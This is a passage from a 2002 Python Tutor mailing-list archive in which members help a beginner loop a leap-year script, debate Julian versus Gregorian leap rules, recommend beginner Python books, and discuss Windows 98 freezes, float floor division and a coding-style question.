    if (y%4) == 0:
        return 1
    return 0
year = input ( " Type in a year:" )
if julian_leap (year):
    print year, "is leap"
else:
    print year, "is not a leap year"


Tahnks for ant help offered,
Robert



From alan.gauld@bt.com  Wed Feb 20 14:31:24 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Wed, 20 Feb 2002 14:31:24 -0000
Subject: [Tutor] python 2.2
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk>

> for you.  Too bad '98 doesn't have any meter so you can see how hard
> your CPU is cranking.

Actually it does! Since win95 thers been a little applet, 
not installed by default, called system monitor or somesuch.

Its like a cut down version of the NT perf monitor. 
You can select CPU, Memory, Swap etc and it'll draw 
pretty coloured graphs for you....

Usually found under accessories|System tools.

Also, In the powertoys free download you can also get 
wintop which is just the unix top program running in 
a window.

Alan g


From sheila@thinkspot.net  Wed Feb 20 14:37:00 2002
From: sheila@thinkspot.net (Sheila King)
Date: Wed, 20 Feb 2002 06:37:00 -0800
Subject: [Tutor] NEWBIE- how to make a program continue
In-Reply-To: <200202200925.AA711721422@centralcatholic.org>
References: <200202200925.AA711721422@centralcatholic.org>
Message-ID: <9239510845@kserver.org>

On Wed, 20 Feb 2002 09:25:10 -0500, "Robert Garber"
<garber@centralcatholic.org>  wrote about [Tutor] NEWBIE- how to make a
program continue:

> I am very NEW to programing. Here is my question. I have written 
> a small program( with the help of teaching python in 24 hours) I 
> added the year = input line it works well except i want it to countue 
> doing what it does utill i tell it to stop. How do I do this?
> 

You want a loop. Try something like this:

def julian_leap (y) :
    if (y%4) == 0:
        return 1
    return 0

while 1:
    year = input ( " Type in a year:" )
    if julian_leap (year):
        print year, "is leap"
    else:
        print year, "is not a leap year"
    again = raw_input( "Do another ? (y/n) ")
    if again == 'n':
        break


-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From alan.gauld@bt.com  Wed Feb 20 14:40:08 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Wed, 20 Feb 2002 14:40:08 -0000
Subject: [Tutor] Teach Yourself Python in 24 Hours book
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A8@mbtlipnt02.btlabs.bt.co.uk>

> Could you please sketch your impressions regarding
> Ivan Van Laningham's book "Teach Yourself Python
> in 24 Hours".

It is aimed at first time programmers but is specific 
to Python (altho he does show some comparative C/Pascal 
listings early on)

It does a good job of the basic syntax and types, a 
slightly less gooid job in the (much harder to explain) 
OO features and a basic run thru of the widgets in 
Tkinter for GUI work. I thought the latter section 
could have used less on the widgets and more on 
structuring a GUI itself.

The main downside is the dreadful habit of using 
screnshots of DOS windows and IDLE and reproducing 
them at a size which makes them hard to read!
(I think Ivan put bigger versions on the books 
web site.)

Also it does hark on a bit about Mayan calendars 
which might not grab your interest the way it 
obviously does Ivan's!

> Is it worth to use this book as first Python book
> (I have no programming experience)?

Yes, or you could look at mine which covers slightly 
different ground and is less python specific in some 
ways. But I'll leave comparison to other more neutral 
observers :-)

Alan g.
Author of the 'Learning to Program' web site
http://www.freenetpages.co.uk/hp/alan.gauld


From toodles@yifan.net  Wed Feb 20 15:30:10 2002
From: toodles@yifan.net (Andy W)
Date: Wed, 20 Feb 2002 23:30:10 +0800
Subject: [Tutor] NEWBIE- how to make a program continue
References: <200202200925.AA711721422@centralcatholic.org>
Message-ID: <002701c1ba23$7cf77b60$3100a8c0@sun>

> I am very NEW to programing. Here is my question. I have written a small
program( with the help of teaching python in 24 hours) I added the year =
input line it works well except i want it to countue doing what it does
utill i tell it to stop. How do I do this?
>
> below is the script i am using
>
> def julian_leap (y) :
>     if (y%4) == 0:
>         return 1
>     return 0
> year = input ( " Type in a year:" )
> if julian_leap (year):
>     print year, "is leap"
> else:
>     print year, "is not a leap year"
>
>
> Tahnks for ant help offered,
> Robert

Hi Robert,

Seeing as you're new, I'll try to be a little more clear and thorough than I
usually am. No promises though!

To repeat the instructions, you require a loop statement. Using a "while"
statement would be most appropriate I think.
The basics go as follows:

while <test clause>:
    statement 1
    ...
    statement n

as long as the <test clause> evaluates to true, the loop will continue. Each
time it will go through to the end, unless told otherwise. To "tell it
otherwise", and make it exit the loop at a certain time, we use the "break"
statement. So

while 1:
    break

will exit the loop straight away. To return to the top of the loop, we can
use another statement called "continue".

while 1:
    continue
    break

That one will continue forever. Don't try it out, because it'll make your
interpreter hang ;)

So there's a few ways we can approach your problem. I'll just look at the
part that needs to be in the loop.
BTW, this isn't tested. I've made one error already tonight, I hope I don't
get myself crucified.

The two most obvious options to me are
1) Use an "always true" loop (ie. while 1:) , and use "break" to get out of
it.
2) Use a variable as the test clause, and set it to exit the loop.

1st way:

while 1:
    year = input ( " Type in a year:" )
    if julian_leap (year):
        print year, "is leap"
    else:
        print year, "is not a leap year"
    keep_going=raw_input("Do you want to keep going, yes or no?")
    if keep_going=="no":
        break

2nd way:

done=0

while not done:
    year = input ( " Type in a year:" )
    if julian_leap (year):
        print year, "is leap"
    else:
        print year, "is not a leap year"
    keep_going=raw_input("Do you want to keep going, yes or no?")
    if keep_going=="no":
        done=1

HTH
Andy

>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From shalehperry@attbi.com  Wed Feb 20 16:01:31 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Wed, 20 Feb 2002 08:01:31 -0800 (PST)
Subject: [Tutor] Teach Yourself Python in 24 Hours book
In-Reply-To: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local>
Message-ID: <XFMail.20020220080131.shalehperry@attbi.com>

On 20-Feb-2002 Jonikas Valdemaras wrote:
> Hi all,
> 
> Could you please sketch your impressions regarding
> Ivan Van Laningham's book "Teach Yourself Python
> in 24 Hours".
> Is it worth to use this book as first Python book
> (I have no programming experience)?
> 

My problem with this series of books is similar to my problem with "dummies"
books.  They are pretty good at getting you through the first 2 weeks / month. 
Then you can just give them to a friend and buy a new book.  They make very
poor reference manuals usually and often ignore any of the complex matters.


From urnerk@qwest.net  Wed Feb 20 16:30:01 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 08:30:01 -0800
Subject: [Tutor] NEWBIE- how to make a program continue
In-Reply-To: <9239510845@kserver.org>
References: <200202200925.AA711721422@centralcatholic.org>
 <200202200925.AA711721422@centralcatholic.org>
Message-ID: <4.2.0.58.20020220082413.00ca8600@pop3.norton.antivirus>

You want a loop. Try something like this:

def julian_leap (y) :
     if (y%4) == 0:
         return 1
     return 0


Except in reality, leap year is not quite so simple
as "every fourth year".

Something like:

def julian_leap (y) :
     rtnval = 0
     if (y%100)==0:
        if (y%400)==0:
           rtnval = 1
     elif (y%4) == 0:
        rtnval = 1
     return rtnval

1900 was not a leap year.

Kirby



From hellenicdolphin@hotmail.com  Wed Feb 20 16:49:12 2002
From: hellenicdolphin@hotmail.com (Hellenic Dolphin)
Date: Wed, 20 Feb 2002 18:49:12 +0200
Subject: [Tutor] Newbie!
Message-ID: <F208PpAATnLE7P95LZb00010b84@hotmail.com>

Hi everybody!

I'm a newbie in programming languages and I was instructed to begin with 
Python! Could you please tell me the correct steps, should I make, in order 
to really learn the language and be possible to write serious programes? 
Which books would you suggest to buy for this? (and of course which other 
internet tutorials!).
At this momment I've begun with livewires' internet tutorial which I find it 
quite helpful and easy, but soon enough I'll be needing more sources.

At last please advise if this language is the right one, in order to create 
a "back-office" application for a company (accounts, statements, clientele, 
etc.).

Thanks in advance for your kind help.

With my friendliest regards,
Thanos

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp.



From alan.gauld@bt.com  Wed Feb 20 17:40:19 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Wed, 20 Feb 2002 17:40:19 -0000
Subject: [Tutor] NEWBIE- how to make a program continue
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3AF@mbtlipnt02.btlabs.bt.co.uk>

> written a small program( with the help of teaching python in 
> 24 hours) 

Amazing how it works, this book hasn't been mentioned 
for weeks and now we get two in one day...

> i want it to countue doing what it does utill i tell it to 
> stop. How do I do this?

continue until => a while loop.
( It actually implies a repeat/until loop but Python 
  hasn't got one of those!)

> year = input ( " Type in a year(0 to stop):" )
while year:
> if julian_leap (year):
>     print year, "is leap"
> else:
>     print year, "is not a leap year"
  year = input ( " Type in a year(0 to stop):" )

Thats it - 2 new lines and one minor modification.
Using zero to stop is fine coz 0 is never a valid year...

Alan g


From alan.gauld@bt.com  Wed Feb 20 17:44:41 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Wed, 20 Feb 2002 17:44:41 -0000
Subject: [Tutor] NEWBIE- how to make a program continue
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B0@mbtlipnt02.btlabs.bt.co.uk>

> def julian_leap (y) :
> 
> Except in reality, leap year is not quite so simple
> as "every fourth year".
> 
> Something like:
> 
> def julian_leap (y) :
>      rtnval = 0
>      if (y%100)==0:
>         if (y%400)==0:
>            rtnval = 1
>      elif (y%4) == 0:
>         rtnval = 1
>      return rtnval

But isn't this only true of the Gregorian calender? 
So Julian leap years are as per the original and 
Gregorian leaps as per your function - or is it 
the other way around?

Alan g.


From alan.gauld@bt.com  Wed Feb 20 17:52:18 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Wed, 20 Feb 2002 17:52:18 -0000
Subject: [Tutor] Newbie!
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B1@mbtlipnt02.btlabs.bt.co.uk>

> Hi everybody!

Hi Thanos,

> I'm a newbie in programming languages and I was instructed to 
> begin with Python! 

Good idea.

> Could you please tell me the correct steps, should I make, 
> in order to really learn the language 

Start with one of the tutors on the Python newbies page
(I'm biased so would suggest my own :-)

Then go through the full official Python tutor, trying 
the examples as you go. Working full time on it, I'd say 
that should take about 2 weeks.

Along the way stop off and play with the ideas - modify 
the sample programs to see if they do what you expect.

If you don't understand post specific questions here 
- ideally giving short code samples and any error 
printouts you get.

> Which books would you suggest to buy for this? 

Once you cover the web tutors you can buy some reference 
material. My only "must have" is Dave Beasley's "Python 
Essential Reference". There is a list of books on the 
Python web site with some reviews etc. Or visit Amazon and
search for Python and read the reviews there.

> At this momment I've begun with livewires' internet tutorial 
> which I find it quite helpful and easy, but soon enough 
> I'll be needing more sources.

http://www.python.org

is your friend.

> At last please advise if this language is the right one, in 
> order to create a "back-office" application for a company 
> (accounts, statements, clientele, etc.).

You could do that but in most cases you will be cheaper(when 
you take account of your time!) to just buy an off the shelf 
package. They may seeem expensive but to develop thoise 
things is likely to take several months of your time!

Python would then be good to fill any gaps, where the bought in
package doesn't do exactly what you need.

We await your questions with interest....

Alan g.
Author of the 'Learning to Program' web site
http://www.freenetpages.co.uk/hp/alan.gauld


From urnerk@qwest.net  Wed Feb 20 18:06:05 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 10:06:05 -0800
Subject: [Tutor] NEWBIE- how to make a program continue
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B0@mbtlipnt02.btlabs
 .bt.co.uk>
Message-ID: <4.2.0.58.20020220095912.00ce5360@pop3.norton.antivirus>

>
>But isn't this only true of the Gregorian calender?
>So Julian leap years are as per the original and
>Gregorian leaps as per your function - or is it
>the other way around?
>
>Alan g.

Ah so.  I was just thinking of "whatever calendar we're
actually using".  You're right though, it's the Gregorian
that has this new wrinkle (since around 1582) of messing
with the "once every four" rule.

So I should have changed the name of my function def.
One could have both functions in the module, and a
parameter (with a default) to control re which calendar
you're asking. E.g.:

     def isLeap(yr,julian=0):
         if julian:
            return isJulianLeap(yr)
         else:
            return isGregorianLeap(yr)

Include the above in a "get user input loop" if desired
(or just use it as is in the shell as is -- my preference).

Thanks for the edifying remarks.

Kirby



From cheshire_cat_sf@yahoo.com  Wed Feb 20 18:16:29 2002
From: cheshire_cat_sf@yahoo.com (Britt Green)
Date: Wed, 20 Feb 2002 10:16:29 -0800 (PST)
Subject: [Tutor] Python Books for Newbies
In-Reply-To: <E16da7G-00026J-00@mail.python.org>
Message-ID: <20020220181629.16092.qmail@web14108.mail.yahoo.com>


> From: "Hellenic Dolphin" <hellenicdolphin@hotmail.com>
> To: tutor@python.org
> Date: Wed, 20 Feb 2002 18:49:12 +0200
> Subject: [Tutor] Newbie!
> 
> Hi everybody!
> 
> I'm a newbie in programming languages and I was instructed to begin
> with 
> Python! Could you please tell me the correct steps, should I make, in
> order 
> to really learn the language and be possible to write serious
> programes? 

Hello Thanos,

As someone who has struggled with various language's, I've found Python
to be very easy to understand and program in.

The first book I would recommend on Python would be Alan Gauld's _Learn
to Program Using Python_. Its very well written, but doesn't get bogged
down with a lot of little mostly inconsequential details which can be
very frustrating for a beginner (at least that's how I found it.)

Once you have a firm handle on the basics, I would recommend Wesley
Chun's _Core Python Programming_. This book is more in depth and covers
a more topics (such as CGI programming, networking and some Tk/Tcl
programming) than Mr Gauld's book. However, it seems to assume you have
some working knowledge of Python, the kind of knowledge that _Learn to
Program Using Python_ gave me.

As an aside, both of the authors are frequent contributors to this list
as well.

Happy coding,

Britt

=====
"The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman."

__________________________________________________
Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games
http://sports.yahoo.com


From jgregorio@qwest.net  Wed Feb 20 19:06:51 2002
From: jgregorio@qwest.net (Josh Gregorio)
Date: Wed, 20 Feb 2002 12:06:51 -0700
Subject: [Tutor] Teach Yourself Python in 24 Hours book
References: <012e01c1b9ee$61e66a50$12f6c50a@LDR.local>
Message-ID: <000f01c1ba41$c17b2c00$b374b4d1@computer>

I would recommend against this book. The explanations are no better or worse
than you will find elsewhere, and the sample exercises are so simple as to
waste your time. I have three of the 'teach yourself books' and all were not
very helpful. I won't be buying anymore.

The Teach Yourself Python book is really poorly done. The early sample
programs introduce a lot of concepts and techniques which aren't covered in
the book at all (for example, regular expressions. Some of the programs rely
on functions not introduced for several more chapters). Many of the sample
programs rely on concepts and code that are either not covered, barely
covered, or covered several chapters later.

The explanations are written well enough, but then there is very little
source code. Often after 600 or so words about a topic there are only one or
two lines to illustrate that topic. The larger programs that are included to
tie everything together have the same problem as the smaller programs:
unexplained code.

The exercises in the book seldom have programming assignments. Usually he
recommends searching the Internet for some related topic (history of goto,
control statements in early languages) or refers you to some absurdly
complex book that a beginner would not be ready for (he refers the reader to
Data Structures and Algorithms after a brief discussion of data types).

The worst part of the book is that many of the examples are shown in a dos
prompt or an idle window (screen shots). They are hard to read and take up a
lot of space. To me it looks like they included them so that the book would
be padded out to more pages.

I'd say go through the tutorials on www.python.org and then get Learning
Python by Lutz and Archer, from O'reilly press. That book has lots of code,
real exercises (with answers!) and no fluff.


----- Original Message -----
From: Jonikas Valdemaras <jonikas@ldr.lt>
To: <tutor@python.org>
Sent: Wednesday, February 20, 2002 2:10 AM
Subject: [Tutor] Teach Yourself Python in 24 Hours book


> Hi all,
>
> Could you please sketch your impressions regarding
> Ivan Van Laningham's book "Teach Yourself Python
> in 24 Hours".
> Is it worth to use this book as first Python book
> (I have no programming experience)?
>
> Thanks,
> Valdas
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From wolf_binary@hotmail.com  Wed Feb 20 19:38:37 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Wed, 20 Feb 2002 13:38:37 -0600
Subject: [Tutor] Python in 24 hours more like 24 years
Message-ID: <DAV56vLIbCQ6MJpfzpe00002a5e@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0015_01C1BA13.E621BC00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

To all people intested in getting a beginning book for Python who have =
never programmed before.

Take my advice and buy the Python Pocket Reference, and Learn to Program =
Using Python by Alan Gauld.  I have the Python in 24 hours book, and it =
stinks.  I agree totally with Josh Gregorio on this.  I have tried using =
the 24 hours book and it is hard to understand and has much to be =
desired as far as down to earth terms go for a non-programmer.  Alan =
Guald book is far better at telling how to get going.  You can download =
a free copy, not totally complete(but mostly), that helps a ton in the =
non-programmer department.  Just go the the python website under =
documentation. www.python.org

Cameron Stoner

------=_NextPart_000_0015_01C1BA13.E621BC00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2713.1100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>To all people intested in getting a =
beginning book=20
for Python who have never programmed before.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Take my advice and buy the <U>Python =
Pocket=20
Reference</U>, and <U>Learn to Program Using Python</U> by Alan =
Gauld.&nbsp; I=20
have the Python in 24 hours book, and it stinks.&nbsp; I agree totally =
with Josh=20
Gregorio on this.&nbsp; I have tried using the 24 hours book and it is =
hard to=20
understand and has much to be desired as far as down to earth terms go =
for a=20
non-programmer.&nbsp; Alan Guald book is far better at telling how to =
get=20
going.&nbsp; You can download a free copy, not totally complete(but =
mostly),=20
that helps a ton in the non-programmer department.&nbsp; Just go the the =
python=20
website under documentation. <A=20
href=3D"http://www.python.org">www.python.org</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cameron =
Stoner</FONT></DIV></BODY></HTML>

------=_NextPart_000_0015_01C1BA13.E621BC00--


From wolf_binary@hotmail.com  Wed Feb 20 19:48:40 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Wed, 20 Feb 2002 13:48:40 -0600
Subject: [Tutor] python 2.2
References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com>

----- Original Message -----
From: <alan.gauld@bt.com>
To: <dsh8290@rit.edu>; <tutor@python.org>
Sent: Wednesday, February 20, 2002 8:31 AM
Subject: RE: [Tutor] python 2.2


> > for you.  Too bad '98 doesn't have any meter so you can see how hard
> > your CPU is cranking.
>
> Actually it does! Since win95 thers been a little applet,
> not installed by default, called system monitor or somesuch.
>
> Its like a cut down version of the NT perf monitor.
> You can select CPU, Memory, Swap etc and it'll draw
> pretty coloured graphs for you....
>
> Usually found under accessories|System tools.
>
> Also, In the powertoys free download you can also get
> wintop which is just the unix top program running in
> a window.
>
> Alan g
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>
I am not using Vpython all the time though.  I only got it to mess around a
bit.  I have had Win98 freeze up and not let me do anything while I was just
typing in a function or I'd be looking down to follow a flowchart or some
example code out of a book and then wamo, the thing freezes up and all I get
is like a screen shot that won't let me move my mouse.  I have a Athlon
800Mhz, Win98, 512Meg Ram, and 32Meg ATI All in One Video Card.  The thing
is it freezes up when I'm not using VPython IDE.  Do you think I should
uninstall the VPython add on?  Could this be causing me some obscure problem
or do you think that it could be Norton, because I do have Norton Internet
Security 2001?

Cameron Stoner



From csmith@blakeschool.org  Wed Feb 20 18:47:13 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Wed, 20 Feb 2002 12:47:13 -0600
Subject: [Tutor] / vs //
Message-ID: <fc.004c4b6b008de962004c4b6b008de962.8de9e1@blakeschool.org>

The two operations below yield different results...does / know something
that // doesn't know? 

>>> 3.9//1.3
2.0
>>> 3.9/1.3
3.0

It seems like // is being technically corrrect since 3.9 is a little
smaller than 3.9 but that / is being a little smarter and trying to give
you a closer approximation. 

>>> 3.9
3.8999999999999999
>>> 1.3
1.3

PEP 238 says that a//b should act like floor(a/b) but you can see in this
example that it doesn't since that result is 3.0 not 2.0

>>> math.floor(3.9/1.3)
3.0



/c



From dsh8290@rit.edu  Wed Feb 20 20:40:21 2002
From: dsh8290@rit.edu (dman)
Date: Wed, 20 Feb 2002 15:40:21 -0500
Subject: [Tutor] python 2.2
In-Reply-To: <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com>
References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com>
Message-ID: <20020220204021.GB22623@dman.ddts.net>

On Wed, Feb 20, 2002 at 01:48:40PM -0600, Cameron Stoner wrote:
| ----- Original Message -----
| From: <alan.gauld@bt.com>
| To: <dsh8290@rit.edu>; <tutor@python.org>
| Sent: Wednesday, February 20, 2002 8:31 AM
| Subject: RE: [Tutor] python 2.2
| 
| > > for you.  Too bad '98 doesn't have any meter so you can see how hard
| > > your CPU is cranking.
| >
| > Actually it does! Since win95 thers been a little applet,
| > not installed by default, called system monitor or somesuch.

I'll look for it the next time I'm around a '98 box.  Maybe it isn't
so odd that I've never seen a CPU meter on windows until I got to use
NT4.0 (and 2k) last year.  I started using Windows (32 bit versions)
in 1995 when my dad bought '95 for his machine.

| I am not using Vpython all the time though.  I only got it to mess
| around a bit.  I have had Win98 freeze up and not let me do anything
| while I was just typing in a function or I'd be looking down to
| follow a flowchart or some example code out of a book and then wamo,
| the thing freezes up and all I get is like a screen shot that won't
| let me move my mouse.  I have a Athlon 800Mhz, Win98, 512Meg Ram,
| and 32Meg ATI All in One Video Card.  The thing is it freezes up
| when I'm not using VPython IDE.

IDE?  Maybe you're talking about something different, but I thought
that "VPython" referred to
    www.vpython.org
though I am aware of some other things with "V" in the name (such as
VTK)
    
| Do you think I should uninstall the
| VPython add on?  Could this be causing me some obscure problem or do
| you think that it could be Norton, because I do have Norton Internet
| Security 2001?

Norton very well could be causing problems.  Shut it down and see if
you still have the lockups.  If not, well, then there you go.  I used
to have Guard Dog on my win98 system (I got it really cheap, and this
was before I knew anything about unix or networking).  Cygwin's bash
shell would always trigger a "app connecting to the internet" alert.
The thing is, Guard Dog didn't know whether something was connecting
to the internet or not, it only knew that the socket library was
accessed.  It may be that python or vpython or some other component
tries to use sockets and Norton ungracefully kills it.  (sockets are
used for more than just connecting to the internet)
 
-D

-- 

One man gives freely, yet gains even more;
another withholds unduly, but comes to poverty.
        Proverbs 11:24



From csmith@blakeschool.org  Wed Feb 20 20:38:44 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Wed, 20 Feb 2002 14:38:44 -0600
Subject: [Tutor] style question
Message-ID: <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org>

I have a question of style and am wondering if you would consider giving
some feedbakc.  Let's say you have a task of finding out how many of 5
positive integer numbers (a-e) are even.  Which (if either) of the two
codes would be preferred:

# {option A}
odd=a%2+b%2+c%2+d%2+e%2
even=5-odd

# {option B}
if a%2==0:	
	even = even + 1
if b%2==0:	
	even = even + 1
if c%2==0:	
	even = even + 1
if d%2==0:	
	even = even + 1
if e%2==0:	
	even = even + 1
odd = 5 - even

Is option A guilty of relying on the "side effect" of mod 2 being a 1 or
zero or is this a desireable/understandable use of this function's return
value?

/c



From urnerk@qwest.net  Wed Feb 20 21:25:32 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 13:25:32 -0800
Subject: [Tutor] python 2.2
In-Reply-To: <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com>
References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <4.2.0.58.20020220132440.01acb9c0@pop3.norton.antivirus>

>  because I do have Norton Internet
>Security 2001?
>
>Cameron Stoner

I think you should turn off Norton for awhile and see if
the Python 2.2 freeze-up goes away.  If you're not using
VPython when the freeze happens, then I don't consider
VPython a suspect.

Kirby



From urnerk@qwest.net  Wed Feb 20 21:31:53 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 13:31:53 -0800
Subject: [Tutor] / vs //
In-Reply-To: <fc.004c4b6b008de962004c4b6b008de962.8de9e1@blakeschool.org
 >
Message-ID: <4.2.0.58.20020220132939.01acae50@pop3.norton.antivirus>

>
>PEP 238 says that a//b should act like floor(a/b) but you can
>see in this example that it doesn't since that result is 3.0 not 2.0
>
> >>> math.floor(3.9/1.3)
>3.0

I think a,b are supposed to be integers or the purposes of
this explanation, otherwise you get into floating point
weirdness (there's no terminating representation of 3.9 in
binary).

   >>> math.floor(39/13)
   3.0
   >>> 39//13
   3

Kirby



From dyoo@hkn.eecs.berkeley.edu  Wed Feb 20 21:30:21 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 20 Feb 2002 13:30:21 -0800 (PST)
Subject: [Tutor] style question
In-Reply-To: <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org>
Message-ID: <Pine.LNX.4.21.0202201315080.18848-100000@hkn.eecs.berkeley.edu>

On Wed, 20 Feb 2002, Christopher Smith wrote:

> I have a question of style and am wondering if you would consider
> giving some feedbakc.  Let's say you have a task of finding out how
> many of 5 positive integer numbers (a-e) are even.  Which (if either)
> of the two codes would be preferred:
> 
> # {option A}
> odd=a%2+b%2+c%2+d%2+e%2

> # {option B}
> if a%2==0:	
> 	even = even + 1
> if b%2==0:	
> 	even = even + 1
> if c%2==0:	
> 	even = even + 1
> if d%2==0:	
> 	even = even + 1
> if e%2==0:	
> 	even = even + 1
> odd = 5 - even


I like option A better than option B.  Option B has the real potential of
hiding errors because it's forcing us to look at the same variables over
and over and over again.  Humans will often get bored at repetition, and
most programmers that I know are human.  *grin*


Here's a hypothetical example of why repetitious code can be a little
hazardous:

###
if a%2==0:	
	even = even + 1
if b%2==0:	
	even = even + 1
if c%2==0:	
	even = even + 1
if c%2==0:	             ##  <--- ??!
	even = even + 1
if e%2==0:	
	even = even + 1
odd = 5 - even
###

Something like the above is silly and very obvious when we have five
cases... but yet it's still so easy to miss if we're not careful.  Better
to avoid the temptation altogether.



> Is option A guilty of relying on the "side effect" of mod 2 being a 1
> or zero or is this a desireable/understandable use of this function's
> return value?

I think the approach with 'mod 2' is understandable; the modulo
(remainder) function with 2 always returns a one or a zero.  Don't worry;
you're using the modulo operator the way it was meant to be used.



It might be useful to see if applying list stuff can be helpful; when
we're doing the same sort of stuff on a bunch of variables, that's often a
sign that using a list might be better.  For example:

###
numbers = [a, b, c, d, e]
odd = 0
for n in numbers: odd = odd + (n % 2)
###

is nice because it's easily amendable; if we have more numbers to test,
all we need to do is add them into the 'numbers' list.



From tim@johnsons-web.com  Wed Feb 20 21:40:39 2002
From: tim@johnsons-web.com (Tim Johnson)
Date: Wed, 20 Feb 2002 12:40:39 -0900
Subject: [Tutor] Python in 24 hours more like 24 years
In-Reply-To: <DAV56vLIbCQ6MJpfzpe00002a5e@hotmail.com>
References: <DAV56vLIbCQ6MJpfzpe00002a5e@hotmail.com>
Message-ID: <20020220214039.GH12173@johnsons-web.com>

* Cameron Stoner <wolf_binary@hotmail.com> [020220 10:57]:
> To all people intested in getting a beginning book for Python who have never programmed before.
> 
> Take my advice and buy the Python Pocket Reference, and Learn to Program Using Python by Alan Gauld.  
> I have the Python in 24 hours book, and it stinks.  I agree totally with Josh Gregorio on this.  
> I have tried using the 24 hours book and it is hard to understand and has much to be desired as far 
> as down to earth terms go for a non-programmer.  Alan Guald book is far better at telling how to get going.  
> You can download a free copy, not totally complete(but mostly), that helps a ton in the non-programmer department.  
> Just go the the python website under documentation. www.python.org

I've designed and am teaching an online class on python. I agree the "24 hours..." is
not for the new programmer. 

we are using Alan's book as the text.

I'm also recommending that students use Guido's tutorial. 
Nothin' like the source :>)

> 
> Cameron Stoner

-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.johnsons-web.com


From urnerk@qwest.net  Wed Feb 20 21:33:46 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 13:33:46 -0800
Subject: [Tutor] python 2.2
In-Reply-To: <20020220204021.GB22623@dman.ddts.net>
References: <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com>
 <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk>
 <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com>
Message-ID: <4.2.0.58.20020220133234.01af4840@pop3.norton.antivirus>

>
>IDE?  Maybe you're talking about something different, but I thought
>that "VPython" referred to
>     www.vpython.org
>though I am aware of some other things with "V" in the name (such as
>VTK)


VPython (the one you cite) comes with its own modified IDLE to
permit use of Tk more successfully than standard IDLE does.

>Norton very well could be causing problems.


Agreed.

Kirby



From urnerk@qwest.net  Wed Feb 20 21:59:13 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 13:59:13 -0800
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org
 >
Message-ID: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>

>  Which (if either) of the two
>codes would be preferred:

I agree with Danny that a list-based approach would be
better:

   from operator import add

   def check(testlist):
       return reduce(add,[i%2==0 for i in testlist])

   >>> check([1,4,5,9,3,8,7])
   2

Kirby



From hellenicdolphin@hotmail.com  Wed Feb 20 22:51:57 2002
From: hellenicdolphin@hotmail.com (Hellenic Dolphin)
Date: Thu, 21 Feb 2002 00:51:57 +0200
